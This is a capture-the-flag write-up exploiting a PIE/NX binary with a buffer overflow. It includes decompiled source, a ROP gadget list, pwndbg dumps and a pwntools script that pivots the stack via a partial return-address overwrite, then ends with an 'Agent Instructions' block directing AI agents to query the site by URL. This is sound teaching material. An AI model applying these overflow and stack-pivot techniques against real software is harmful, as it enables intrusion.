# Partial Overwrite

We have a binary with **PIE** & **NX** enabled.

<figure><img src="/files/RJsU5GDqDz5UM0t1ByFV" alt=""><figcaption></figcaption></figure>

Looking at the source code, we can determine that we have a win\_ptr and a obvious buffer\_overflow with leak to buffer.

```cpp
void challenge(void)

{
  int win;
  void *win_ptr;
  ssize_t input;
  undefined8 input_buffer;
  undefined8 local_28;
  undefined8 local_20;
  undefined8 local_18;
  undefined4 local_c;
  
  input_buffer = 0;
  local_28 = 0;
  local_20 = 0;
  local_18 = 0;
  printf("[LEAK] Your input buffer is located at: %p.\n\n ",&input_buffer);
  win_ptr = mmap((void *)0x0,312,3,34,0,0);
  memcpy(win_ptr,&DAT_00103038,312);
  result= mprotect(win_ptr,312,5);
  if (result != 0) {
    __assert_fail("mprotect(data.win_addr, 0x138, PROT _READ|PROT_EXEC) == 0","<stdin>",42,
                  "challenge");
  }
  input = read(0,&input_buffer,4096);
  local_c = (undefined4)input;
  puts("Leaving!");
  return;
}

```

Since we have a buffer overflow, we can attempt to control RIP to try to stack pivot to our controlled buffer (**input\_buffer**) where we can potentially place our ROP chain. Let's first look for a stack pivoting gadget by filtering for anything that deals with **rsp**.

```bash
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%
0x00000000000020bd: add al, ch; sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x00000000000020c4: add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x00000000000020bc: add byte ptr [rax], al; call 0x10e0; mov eax, 0; leave; ret; 
0x0000000000002008: add byte ptr [rax], al; call 0x10e0; nop; leave; ret; 
0x00000000000020c6: add byte ptr [rax], al; leave; ret; 
0x00000000000020be: call 0x10e0; mov eax, 0; leave; ret; 
0x000000000000200a: call 0x10e0; nop; leave; ret; 
0x0000000000002005: cmp eax, 0x10bf; call 0x10e0; nop; leave; ret; 
0x0000000000001fff: dec dword ptr [rcx - 0x72b703bb]; cmp eax, 0x10bf; call 0x10e0; nop; leave; ret; 
0x0000000000002004: lea edi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002003: lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002000: mov dword ptr [rbp - 4], eax; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x00000000000020c3: mov eax, 0; leave; ret; 
0x00000000000020bf: sbb eax, 0xb8fffff0; add byte ptr [rax], al; add byte ptr [rax], al; leave; ret; 
0x0000000000002002: cld; lea rdi, [rip + 0x10bf]; call 0x10e0; nop; leave; ret; 
0x0000000000002010: leave; ret; 
0x000000000000200f: nop; leave; ret;
```

We can use the **leave; ret** gadget since we control **RBP** and **RIP.**&#x20;

We can also determine what is the offset from our leak the win pointer is by using a debugger like **pwndbg**

<pre data-full-width="false"><code>pwndbg> x/50gx 0x7ffcfa741500
0x7ffcfa741500: 0x0000000000000d68      0x00007f4f31ba8951
0x7ffcfa741510: 0x0000000000000d68      0x000000000000000a
0x7ffcfa741520: 0x00007f4f31d056a0      0x0000560df5fe30c9
0x7ffcfa741530: 0x0000560df5fe5010      0x00007f4f31d014a0
0x7ffcfa741540: 0x0000000000000000      0x00007f4f31ba8e93
0x7ffcfa741550: 0x0000000000000008      0x00007f4f31d056a0
0x7ffcfa741560: 0x0000560df5fe30c9      0x00007f4f31b9c59a
0x7ffcfa741570: 0x0000560df5fe20d0      0x00007ffcfa7415f0
0x7ffcfa741580: 0x0000560df5fe1160      0x00007ffcfa741710
0x7ffcfa741590: 0x0000000000000000      0x0000560df5fe200f
0x7ffcfa7415a0: 0x0000000000000000      0x00007ffcfa741728
0x7ffcfa7415b0: 0x00007ffcfa741718      0x0000000131ba653d
0x7ffcfa7415c0: <a data-footnote-ref href="#user-content-fn-1">0x00007f4f31d3800</a>0      <a data-footnote-ref href="#user-content-fn-2">0x494949494949494e</a>
0x7ffcfa7415d0: 0x4949494949494949      0x4949494949494949
0x7ffcfa7415e0: 0x4949494949494949      0x0000017149494949
0x7ffcfa7415f0: 0x494e494949494949      0x4949494949494949
0x7ffcfa741600: 0x4949494949494949      0x4949494949494949
0x7ffcfa741610: 0x4949494949494949      0x4949494949494949
0x7ffcfa741620: 0x4949494e49494949      0x4949494949494949
0x7ffcfa741630: 0x4949494949494949      0x4949494949494949
0x7ffcfa741640: 0x4949494949494949      0x4949494949494949
0x7ffcfa741650: 0x49494949494e4949      0x4949494949494949
0x7ffcfa741660: 0x4949494949494949      0x4949494949494949
0x7ffcfa741670: 0x4949494949494949      0x4949494949494949
0x7ffcfa741680: 0x494949494949494e      0x4949494949494949
pwndbg> x/10gx 0x00007f4f31d38000 
0x7f4f31d38000: 0x00ec8148e5894855      0x010101b848000001
0x7f4f31d38010: 0xb848500101010101      0x01010166606d672e
0x7f4f31d38020: 0x31e7894824043148      0x050f58026af631d2
0x7f4f31d38030: 0xb6d231c031c78948      0x016a050fe6894801
0x7f4f31d38040: 0x6ae68948c289485f
</code></pre>

Knowing that we can simply *"pivot"* to the win pointer, we can come up with the following exploit chain.

Exploit Flow

1. Partial Overwrite last byte to go to our **leave; ret** gadget
2. Set RBP to an offset of **leak-0x10** to account for **POP RBP** in **leave; ret** of the **challenge** function prologue
3. Execute **leave; ret** again **via** gadget so that we pivot to our **win pointer** and win

```python
#!/usr/bin/env python3

from pwn import *

exe = ELF("./ni")
# libc = ELF("./libc.so.6")
# ld = ELF("./ld-linux-x86-64.so.2")

context.binary = exe


def conn():
    while True:
        try:
            r = process([exe.path], aslr=True)
            gdb.attach(r)
            offset = 48
            r.recvuntil(b'[LEAK] Your input buffer is located at: ')
            leak = r.recvline()[:-2]
            leak = int(leak, 16)
            r.clean()
            print(f"Input Buffer Leak : {hex(leak)}")
            payload = b'A' * 40
            payload += p64(leak-0x10)
            payload += b'\x10\x00'
            r.send(payload)
            r.recvuntil(b'Leaving!')
            result = r.recvline()
            if b'hehehaha' in result:
                print(result)
                break
        except Exception as e:
            continue


def main():
    r = conn()
    r.interactive()


if __name__ == "__main__":
    main()

```

### What I learned

* **RSP** is adjusted each time a **pop**/**push** instruction is executed
* for **pop** gadgets, the values don't have to be user-controlled/valid, stack always have garbage values - as long the pop gadgets are not used for a syscall etc
* Think about what registers i have control of and how do i manipulate it to point to where i want (rsp -/+ offset so that i can align my pop gadgets properly and retn to the right ptr?)
* Dont be fixed in terms of looking for certain gadgets (e.g lea rsp, \[rbp - 0x18]; pop rbx; pop r12; pop r13; pop rbp; ret; - can be used for pivoting too)

[^1]: win\_ptr

[^2]: Start of Input Buffer


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://xenon-2.gitbook.io/writeups/binary-exploitation/partial-overwrite.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
